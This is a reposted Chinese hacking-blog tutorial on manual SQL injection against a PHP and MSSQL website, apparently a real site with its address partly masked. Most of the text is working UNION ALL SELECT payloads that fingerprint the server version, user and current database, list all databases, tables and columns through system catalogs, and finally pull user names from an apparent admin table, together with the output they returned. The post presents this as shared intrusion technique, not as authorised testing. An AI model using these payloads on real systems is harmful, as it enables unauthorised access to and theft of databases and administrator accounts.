记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

PHP+MSSQL手工注入

2013-04-05 22:20

昨天呢,在BIS群里面看到有人要PHP+MSSQL的手工注入的资料,想来网上这方面的资料不多,不然BIS里面的大牛不该这样,我想正好写一个PHP+MSSQL的实例分析得了,也算是给大家一个资料,技术有限,文中若出现什么技术问题,还请指出!
一般的管理员都会采用PHP+MYSQL的方式,毕竟这也是一个主流的架构方式,不过某些变态的就采用了PHP+MSSQL的架构,虽然不能说太难,但是如果手中没有工具的话,可能也要费一点周折了
今天我们的实例网站是http://www.XXX.com/cbs_xx.php?cbs_id=415网站我还是打上码吧,
我们先来看一下是否有注入,习惯性的加个’来看一下
看来是有注入的,下面来看一下字段就是ORDER BY 这个我想大家都会,我就不说了,最后貌似是三十个字段
然后就来构造SQL语句吧
这里如果构造像
union+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 –

这样的语句显示就会不正确,那么我们如何来构造呢
习科上面的大牛已经给出了一个方式,就是用UNION+ALL+SELECT 代替UNION+SELECT ,并且用NULL代替数字,知道页面显示正常之后构建不存在的页面,然后挨个替换,找出显示位
那么我们构造的语句就应该是这样的
URL+union+all+select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null –

我们可以看到回显已经正确了  ,打码技术有限,大家将就着看一下吧
接下来我们来试试找出显示位吧

-415+union+all+select 1,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null –

挨个替换就行了,最后,我找到第四个就是显示位
下面来看一下版本

-415+union+all+select null,null,null,@@version,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null –

sql 2000的,然后就来看一下当前用户是什么

-415+union+all+select null,null,null,user,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null –

用户是rtbooklys*@#0529,好了,我们来看看都有什么数据库吧,爆库开始……
先来看一下当前的数据库是什么,

-415+union+all+select null,null,null,db_name(),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null –

这里不知道为什么sql语句被转换成这样了,还请知道的告知

-415+union+all+select null%2Cnull%2Cnull%2Cdb_NAME  %2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull-#1572375432181028656

老是需要把后面修改的那串字符删掉才能爆出来当前库rtbook
我们是不是可以把所有的裤子全看一边呢,当然可以,sql语句如下:

-415+union+all+select null%2Cnull%2Cnull%2CNAME%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull+from+master.dbo.sysdatabases+where+dbid=1

后来我用一个手工注入辅助工具,总算是不转换了
依次变换后面的dbid最后爆出来所有的库
master
tempdb
model
msdb
pubs
Northwind
rtqikan
rtbook
zaixiandaku
所有的库都出来了,我们来看一下当前库中的表吧

-415+union+all+select null,null,null,name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null +from+rtbook.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 1 name from rtbook.dbo.sysobjects where xtype=CHAR(85))–

其中两个地方要填写数据库名,格式是   数据库名.dbo.sysobjects,总过两个,要是一样的。如果不是当前的数据库,这就成了跨库查询,可能有的虚拟主机设置权限不让跨库查询。
括号里的最后一句: (select top 1 name from rtbook.dbo.sysobjects where xtype=CHAR(85)
这里面变化  top XX name 里面的数字即可,这个XX是表的序号。没什么说的,就是一个相关子查询,学过SQL语句的应该知道
第一个是cbs_tj
cbs_tjb
cbs_xg
然后依次爆出即可,连着爆了五六个都没爆出看着像管理员表的,最后,终于看到一个表back_user表,看着像管理员表
下面我们就来看看怎么列出库中的字段
这里分为两步,首先我们需要获得库ID
依照惯例:sql:

union+all+select null,null,null,id,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from+rtbook.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 8 name from rtbook.dbo.sysobjects where xtype=CHAR(85))–

第二个括号中的8必须是在前面爆库的时候rtbook对应的N
得到的序号是:181575685

这个序号下面一步中要用到
开始:

-415+union+all+select null,null,null,name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from rtbook.dbo.syscolumns where ID=181575685 and name not in (select top 1 name from rtbook.dbo.syscolumns where ID=181575685)–

这样就可以列出rtbook中的所有的列名
得到表名,字段名就可以查询其中的内容了

union+all+select null,null,null,user_name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from back_user –

知识来源: www.iebug.net/phpmssql%e6%89%8b%e5%b7%a5%e6%b3%a8%e5%85%a5/

阅读:127120 | 评论:0 | 标签:入侵技术 mssql 注入

想收藏或者和大家分享这篇好文章→复制链接地址

“PHP+MSSQL手工注入”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于垒土;黑客之术,始于阅读

推广

工具

标签云